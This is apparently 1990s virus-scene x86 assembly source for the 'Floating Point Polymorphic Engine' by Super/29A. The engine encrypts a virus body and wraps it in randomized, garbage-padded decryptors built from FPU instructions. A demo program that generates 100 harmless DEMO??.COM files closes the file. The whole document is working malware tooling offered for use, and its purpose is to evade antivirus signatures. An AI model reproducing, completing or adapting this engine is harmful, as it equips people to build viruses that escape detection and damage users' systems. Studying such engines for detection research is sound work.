;=======================================;
;                                       ;
;                F P P E                ;
;                                       ;
;  (Floating Point Polymorphic Engine)  ;
;                                       ;
;---------------------------------------;
;        Made by   Super/29A            ;
;=======================================;

;Input:
;  DS=ES=CS
;  SI=start of virus to encrypt
;  DI=buffer where decryptor+virus will be stored
;  BP=offset where the decryptor will start execution
;  CX=length of virus
;
;Output:
;  CX=length of decryptor+virus

; [* Unfinished. Anyway is a good idea done by my friend Super, and of
; course, a good contribution indeed - BB *]

FPPE proc near
;ds=es=cs
 pusha
 mov bp,sp

;[BP+00]=DI
;[BP+02]=SI
;[BP+04]=BP
;[BP+06]=SP
;[BP+08]=BX
;[BP+0A]=DX
;[BP+0C]=CX
;[BP+0E]=AX

 cld

 finit ;initialize the math processor

 push di
 mov si,offset fppe_decrypt_loop

;select decrypt operation
 call random
 and ax,11110
 xchg bx,ax

 mov ax,[si+bx+(fppe_decrypt_operations-fppe_decrypt_loop)]
 or ah,(00000101b) ;to select di as index
 mov [si],ax ;store encrypt opcode

 call random
 and al,111b
 add al,7
 mov [fppe_decrypt_offset],al
 stosb ;store decrypt offset

 mov byte ptr [si+(fppe_decrypt_key-fppe_decrypt_loop)],90h
 mov dx,0fae2h ;the loop instruction
 cmp bl,8
 jb only_three_bytes1
 mov dh,0f9h ;the loop instruction
 call random
 mov [fppe_decrypt_key],al
 stosb ;store decrypt key
only_three_bytes1:

 xor bl,10b ;select inverse decrypt operation
 mov cx,[si+bx+(fppe_decrypt_operations-fppe_decrypt_loop)]

;select index register
 call random
 and ax,11b
 xchg bx,ax

 or ch,[si+bx+(fppe_ptr_mmm_table-fppe_decrypt_loop)]

 mov al,040h
 or al,[si+bx+(fppe_ptr_rrr_table-fppe_decrypt_loop)]
 stosb ;store inc ptr
 xchg dx,ax
 stosw ;store loop instruction
 xchg di,ax
 pop di
 sub ax,di
 push ax ;number of bytes of the decryptor loop
 mov [di],cx ;fix the inverse decryption operation

 fild qword ptr [di] ;remember decryptor loop

 mov al,0b8h
 or al,[si+bx+(fppe_ptr_rrr_table-fppe_decrypt_loop)]
 mov byte ptr [fppe_mov_ptr_imm],al ;fix mov_ptr instruction

 xor ax,ax
 push ax ;indicate which useful instructions are completed

 or al,[si+bx+(fppe_ptr_mmm_table-fppe_decrypt_loop)]
 mov byte ptr [fppe_fild_mmm],al ;fix esc_fild instruction

 mov al,38h
 or al,[di-2+bx+(fppe_ptr_mmm_table-fppe_decrypt_loop)]
 mov byte ptr [fppe_fstp_mmm],al ;fix esc_fistp instruction

 shl bx,1
 push word ptr [di-2+bx+(fppe_illegal_reg_table-fppe_decrypt_loop)]
 sub sp,2*8 ;offsets of each useful instruction

complete_useful_instructions:
 call FPPE_garbage ;add garbage and useful instructions
 cmp byte ptr [bp-4],11111111b
 jnz complete_useful_instructions

 fistp qword ptr [di] ;store decrytor loop

 mov bx,[bp-0ch] ;get offset of ptr value to fix
 mov ax,[bp+4] ;add the offset at which code will start executing
 add ax,di
 sub ax,[bp+0] ;get offset of encrypted code
 mov [bx+1],ax ;fix ptr value

 push di
 add di,[bp-2] ;skip decryptor loop
 call FPPE_garbage ;add more garbage before virus

 mov si,[bp+2]
 mov cx,[bp+0ch]
 rep movsb ;copy virus code to buffer

 mov bx,[bp-0eh] ;get offset of ctr value to fix
 mov dx,di
 sub dx,[bp-2] ;skip the decryptor loop
 pop di
 sub dx,di
 mov [bx+1],dx ;fix ctr value

;now let's encrypt

fppe_decrypt_loop:
 xor byte ptr [di+69],69
 org $-4
fppe_decrypt_opcode dw ?
fppe_decrypt_offset db ?
fppe_decrypt_key db ?
 inc di
 org $-1
fppe_decrypt_inc_ptr db ?
 loop fppe_decrypt_loop


 call FPPE_garbage ;add more garbage after virus
 sub di,[bp+0]
 mov [bp+0ch],di ;so as to return total length in CX
 mov sp,bp
 popa
 ret


fppe_decrypt_operations:
;three byte instructions
 db (10000000b),(01110000b) ;xor [ptr+8],imm8        ; +0+0
 db (10000000b),(01110000b) ;xor [ptr+8],imm8        ; +0+2
 db (10000000b),(01000000b) ;add [ptr+8],imm8        ; +4+0
 db (10000000b),(01101000b) ;sub [ptr+8],imm8        ; +4+2
;four byte instructions
 db (00110000b),(01001000b) ;xor [ptr+8],cl          ; +8+0
 db (00110000b),(01001000b) ;xor [ptr+8],cl          ; +8+2
 db (00000000b),(01001000b) ;add [ptr+8],cl          ; +12+0
 db (00101000b),(01001000b) ;sub [ptr+8],cl          ; +12+2
 db (00110000b),(01101000b) ;xor [ptr+8],ch          ; +16+0
 db (00110000b),(01101000b) ;xor [ptr+8],ch          ; +16+2
 db (00000000b),(01101000b) ;add [ptr+8],ch          ; +20+0
 db (00101000b),(01101000b) ;sub [ptr+8],ch          ; +20+2
 db (11010000b),(01001000b) ;ror [ptr+8],1           ; +24+0
 db (11010000b),(01000000b) ;rol [ptr+8],1           ; +24+2
 db (11010010b),(01001000b) ;ror [ptr+8],cl          ; +28+0
 db (11010010b),(01000000b) ;rol [ptr+8],cl          ; +28+2

fppe_ptr_rrr_table:
 db (00000011b) ;bx
 db (00000011b) ;bx
 db (00000110b) ;si
 db (00000111b) ;di

fppe_ptr_mmm_table:
 db (00000111b) ;bx
 db (00000111b) ;bx
 db (00000100b) ;si
 db (00000101b) ;di

fppe_illegal_reg_table:
;DI SI BP SP BX DX CX AX , BH DH CH AH BL DL CL AL
 db (10101010b),(00011010b) ;illegal regs for BX index
 db (10101010b),(00011010b) ;illegal regs for BX index
 db (00100010b),(01010010b) ;illegal regs for SI index
 db (00100010b),(10010010b) ;illegal regs for DI index

instruction_order_table:
;/finit  /pushcs  /popds   /movctr  /movptr  /fild    /fchs    /fistp
;00000001/00000010/00000100/00001000/00010000/00100000/01000000/10000000

db 00000000b
db 00000000b
db 00000010b ;popds must be preceded by pushcs
db 00000000b
db 00000000b
db 00010111b ;fild must be preceded by finit,pushcs,popds,movptr
db 00110111b ;fxxx must be preceded by finit,pushcs,popds,movptr,fild
db 01110111b ;fistp must be preceded by finit,pushcs,popds,movptr,fild,fchs

fppe_routines_table:
 db (esc_finit-fppe_routines_table)
 db (push_cs-fppe_routines_table)
 db (pop_ds-fppe_routines_table)
 db (mov_ctr-fppe_routines_table)
 db (mov_ptr-fppe_routines_table)
 db (esc_fild-fppe_routines_table)
 db (esc_fchs-fppe_routines_table)
 db (esc_fistp-fppe_routines_table)
 db (conditional_jmp-fppe_routines_table)
 db (one_byters-fppe_routines_table)
 db (one_byters-fppe_routines_table)
 db (one_byters-fppe_routines_table)
 db (one_byters_reg16-fppe_routines_table)
 db (one_byters_reg16-fppe_routines_table)
 db (family_al_imm-fppe_routines_table)
 db (family_ax_imm-fppe_routines_table)
 db (mov_reg8_imm-fppe_routines_table)
 db (mov_reg8_imm-fppe_routines_table)
 db (mov_reg16_imm-fppe_routines_table)
 db (mov_reg16_imm-fppe_routines_table)
 db (mov_reg16_imm-fppe_routines_table)
 db (inc_dec_reg-fppe_routines_table)
 db (shift_rotate-fppe_routines_table)
 db (family_reg_imm-fppe_routines_table)
 db (family_reg_imm-fppe_routines_table)
 db (family_reg_imm-fppe_routines_table)
 db (mov_reg_reg-fppe_routines_table)
 db (mov_reg_reg-fppe_routines_table)
 db (mov_reg_reg-fppe_routines_table)
 db (family_reg_reg-fppe_routines_table)
 db (family_reg_reg-fppe_routines_table)
 db (family_reg_reg-fppe_routines_table)

A_NOTHING      equ 00000000b ;skip this two bits
A_RND_BYTE     equ 00000001b ;store random byte
A_GET_BYTE     equ 00000010b ;store next byte
A_SELECT_BYTE  equ 00000011b ;next byte is number of choices followed by...
B_NOTHING      equ 00000000b ;skip this two bits
B_REG8_REG16   equ 00000100b ;next byte is a mask to set reg8/reg16
B_MASK         equ 00001000b ;next byte is mask
B_MASK_ILLEGAL  equ 00001100b ;next byte is ilegal mask, next is mask
C_NOTHING      equ 00000000b ;skip this two bits
C_TEST_REG     equ 00010000b ;test if mask is a valid source reg
D_NOTHING      equ 00000000b ;skip this two bits
D_END_STRING   equ 01000000b ;the instruction is completed
D_GOTO_STRING  equ 10000000b ;continue processing at other offset
D_DO_CALL      equ 11000000b ;call a routine and then continue

one_byters:
 db A_SELECT_BYTE+B_NOTHING+C_NOTHING+D_END_STRING
 db (1111b)
   db (11111100b) ;cld
   db (11111100b) ;cld
   db (11111100b) ;std
   db (11111000b) ;clc
   db (11111001b) ;stc
   db (11110101b) ;cmc
   db (10011000b) ;cbw
   db (10011001b) ;cwd
   db (10011110b) ;sahf
   db (10011111b) ;lahf
   db (11010111b) ;xlat
   db (00110111b) ;aaa
   db (00100111b) ;daa
   db (00111111b) ;aas
   db (00101111b) ;das
   db (10011011b) ;wait

esc_finit:
 db A_GET_BYTE+B_NOTHING+C_NOTHING+D_NOTHING
 db (11011011b)
 db A_GET_BYTE++B_NOTHING+C_NOTHING+D_END_STRING
 db (11100011b)

push_cs:
 db A_GET_BYTE+B_NOTHING+C_NOTHING+D_END_STRING
 db (00001110b) ;push cs

pop_ds:
 db A_GET_BYTE+B_NOTHING+C_NOTHING+D_END_STRING
 db (00011111b) ;pop ds

mov_ctr:
;mov cx,imm
 db A_GET_BYTE+D_GOTO_STRING
 db (10111001b),(rnd_word-$-1)

mov_ptr:
;mov index_reg,imm
 db A_GET_BYTE+D_GOTO_STRING
fppe_mov_ptr_imm:
 db ?
 db (rnd_word-$-1)

esc_fild:
 db A_GET_BYTE
 db (11011101b) ;fld qword ptr [index_reg]
 db A_GET_BYTE+D_END_STRING
fppe_fild_mmm:
 db ?

esc_fchs:
 db A_GET_BYTE
 db (11011001b)
 db A_GET_BYTE+D_END_STRING
 db (11100000b)

esc_fistp:
 db A_GET_BYTE
 db (11011111b) ;fistp qword ptr [index_reg]
 db A_GET_BYTE+D_END_STRING
fppe_fstp_mmm:
 db ?

conditional_jmp:
 db A_GET_BYTE+B_MASK
 db (01110000b),(00001111b)
 db A_GET_BYTE
 db (00000001b)
 db A_GET_BYTE+D_END_STRING
 db (10010000b)

one_byters_reg16:
 db A_SELECT_BYTE+B_MASK+C_TEST_REG+D_END_STRING
 db (11b)
   db (10010000b) ;xchg ax,reg16
   db (10010000b) ;xchg ax,reg16
   db (01000000b) ;dec reg16
   db (01001000b) ;inc reg16
 db (00000111b)

family_al_imm:
 db A_GET_BYTE+B_MASK+D_GOTO_STRING
 db (00000100b),(00111000b),(rnd_byte-$-1)

family_ax_imm:
 db A_GET_BYTE+B_MASK+D_GOTO_STRING
 db (00000101b),(00111000b),(rnd_word-$-1)

mov_reg8_imm:
 db A_GET_BYTE+B_MASK+C_TEST_REG+D_GOTO_STRING
 db (10110000b),(00000111b),(rnd_byte-$-1)

mov_reg16_imm:
 db A_GET_BYTE+B_MASK+C_TEST_REG
 db (10111000b),(00000111b)
rnd_word:
 db A_GET_BYTE+B_MASK
 db (00000000b),(11111111b)
rnd_byte:
 db A_GET_BYTE+B_MASK+D_END_STRING
 db (00000000b),(11111111b)

inc_dec_reg:
 db A_GET_BYTE+B_MASK
 db (11111110b),(00000001b)
 db A_GET_BYTE+B_MASK+D_GOTO_STRING
 db (11000000b),(00001000b),(check_one_reg-$-1)

shift_rotate:
 db A_GET_BYTE+B_MASK
 db (11010000b),(00000011b)
 db A_GET_BYTE+B_MASK
 db (11000000b),(00101000b)
check_one_reg:
 db B_MASK+C_TEST_REG+D_END_STRING
 db (00000111b)

family_reg_imm:
 db A_GET_BYTE+B_MASK
 db (10000000b),(00000001b)
 db A_GET_BYTE+B_MASK
 db (11000000b),(00111000b)
special_check1:
 db B_MASK+C_TEST_REG+D_END_STRING
 db (00000111b)

mov_reg_reg:
;mov reg,reg/mem
 db A_GET_BYTE+B_MASK+D_GOTO_STRING
 db (10001010b),(00000001b),(do_reg_reg-$-1)

family_reg_reg:
;add/or/adc/sbb/and/sub/xor/cmp  reg,reg/mem
 db A_GET_BYTE+B_MASK
 db (00000010b),(00111001b)
do_reg_reg:
 db A_GET_BYTE+B_MASK;store a zero byte and apply mask
 db (00000000b),(11000000b)
 db B_MASK+C_TEST_REG
 db (00111000b)
special_check2:
 db B_MASK+C_TEST_REG+D_END_STRING
 db (00000111b)


FPPE_garbage proc near
 push di
invalid_instruction:
 pop di
 call random
 and ax,1fh
 cmp al,8
 jae not_useful_instruction
 xchg si,ax
 mov bx,offset instruction_order_table
 mov cl,[bp-4]
 and cl,[bx+si]
 cmp cl,[bx+si]
 xchg si,ax
next_garbage2:
 jnz FPPE_garbage
 bts [bp-4],ax
 jb FPPE_garbage
 shl si,1
 mov [bp+si-16h],di
;[BP-02]=number of bytes of decryptor loop
;[BP-04]=illegal reg mask
;[BP-06]=completed instruction mask
;[BP-08]=offset of fistp  instruction
;[BP-0A]=offset of fchs   instruction
;[BP-0C]=offset of fild   instruction
;[BP-0E]=offset of movptr instruction
;[BP-10]=offset of movctr instruction
;[BP-12]=offset of popds  instruction
;[BP-14]=offset of pushcs instruction
;[BP-16]=offset of finit  instruction

not_useful_instruction:
 mov si,offset fppe_routines_table
 mov bx,ax
 mov al,[si+bx]
 add si,ax
 push di
continue_instruction:
 lodsb
 xchg dx,ax ;(dh=0) if we turn it to dh=1 will select reg8
 call jumps_group
jumps_group_A:
 db (group_A_0-jumps_group_A)
 db (group_A_1-jumps_group_A)
 db (group_A_2-jumps_group_A)
 db (group_A_3-jumps_group_A)
group_A_3:
 mov cl,[si]
 inc si
 and ax,cx
 xchg bx,ax
 mov al,[bx+si]
 add si,cx
 inc si
 db 0a8h ;skip next byte
group_A_2:
 lodsb
group_A_1:
 stosb
group_A_0:
 call jumps_group
jumps_group_B:
 db (group_B_0-jumps_group_B)
 db (group_B_1-jumps_group_B)
 db (group_B_2-jumps_group_B)
 db (group_B_3-jumps_group_B)
group_B_3:
 test al,[si]
 jnz group_B_2 ;reg16, so leave dh=0
 or dh,1 ;we select reg8
group_B_2:
 mov al,0ffh
 db 0a8h ;skip next byte
group_B_1:
 lodsb
 mov ah,al
 xchg cx,ax
 lodsb
 and cl,al
 cmp cl,ch
 jz invalid_instruction
group_B_0:
 call jumps_group
jumps_group_C:
 db (group_C_0-jumps_group_C)
 db (group_C_1-jumps_group_C)
group_C_1:
 xchg bx,ax ; ah=0, so now bh=0
 lodsb
 and ax,bx
 push ax
 cmp al,111b
 jbe no_correction
 shr al,3
no_correction:
 test dh,1
 jnz it_is_reg8
 add al,8 ;so as to test reg16
it_is_reg8:
 bt word ptr [bp-6],ax
 pop ax
 jb invalid_instruction
 or al,cl
 stosb
group_C_0:
 call jumps_group
jumps_group_D:
 db (group_D_0-jumps_group_D)
 db (group_D_1-jumps_group_D)
 db (group_D_2-jumps_group_D)
 db (group_D_3-jumps_group_D)
group_D_3:
 lodsb
 add bx,ax
 call bx
 jmp group_D_0
group_D_2:
 lodsb
 add si,ax
group_D_0:
 jmp continue_instruction
group_D_1:
;the instruction is now completed
 call random
 and al,111b
 jnz next_garbage2 ;do some more garbage
 ret


do_call_0:
do_call_1:
do_call_2:
 ret


jumps_group:
 mov ax,11b
 and ax,dx
 ror dl,2
jumps_group2:
 pop bx
 xlat
 add bx,ax
 call random  ;(ah=0)
 jmp bx
FPPE_garbage endp
FPPE endp
;===================================================================
random proc near
 in al,40h
 ror al,1
 xor al,0
 org $-1
seed db ?
 mov [seed],al  ;(ah must be not touched)
 ret
random endp
;===================================================================
end start

; Acabalo como puedas...

;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-

; FPPE demo

 .model tiny
 .code
 .386
 org 100h

start:
;===================================================================
 mov ah,9
 mov dx,offset message
 int 21h
 mov cx,100 ;100 files
next_file:
 push cx
 xchg cx,ax
 dec ax
 aam
 add ax,3030h
 mov word ptr [4+offset demo_file],ax
 mov si,offset demo_code ;code to encrypt
 mov di,1000h            ;buffer to store decryptor+crypted_code
 mov bp,100h             ;code will start on 100h
 mov bx,666              ;maximum length of decryptor
 mov cx,demo_size        ;length of the code to encrypt
 call FPPE ;just do it :)
 push cx
 mov ah,3ch
 xor cx,cx
 mov dx,offset demo_file
 int 21h
 xchg bx,ax
 pop cx
 mov dx,di
 mov ah,40h
 int 21h
 mov ah,3eh
 int 21h
 pop cx
 loop next_file
 mov ax,4c00h
 int 21h

message db 'This program generates 100 demo files (DEMO??.COM)',13,10
        db 'using the FPPE (Floating Point Polymorphic Engine)',13,10,'$'

demo_file db 'demo00.com',0

demo_code:
 call demo_code1
 db 'This text was encrypted with FPPE$'
demo_code1:
 pop dx
 mov ah,9
 int 21h
 mov ax,4c00h
 int 21h
demo_size equ $-offset demo_code


org 100h+1000
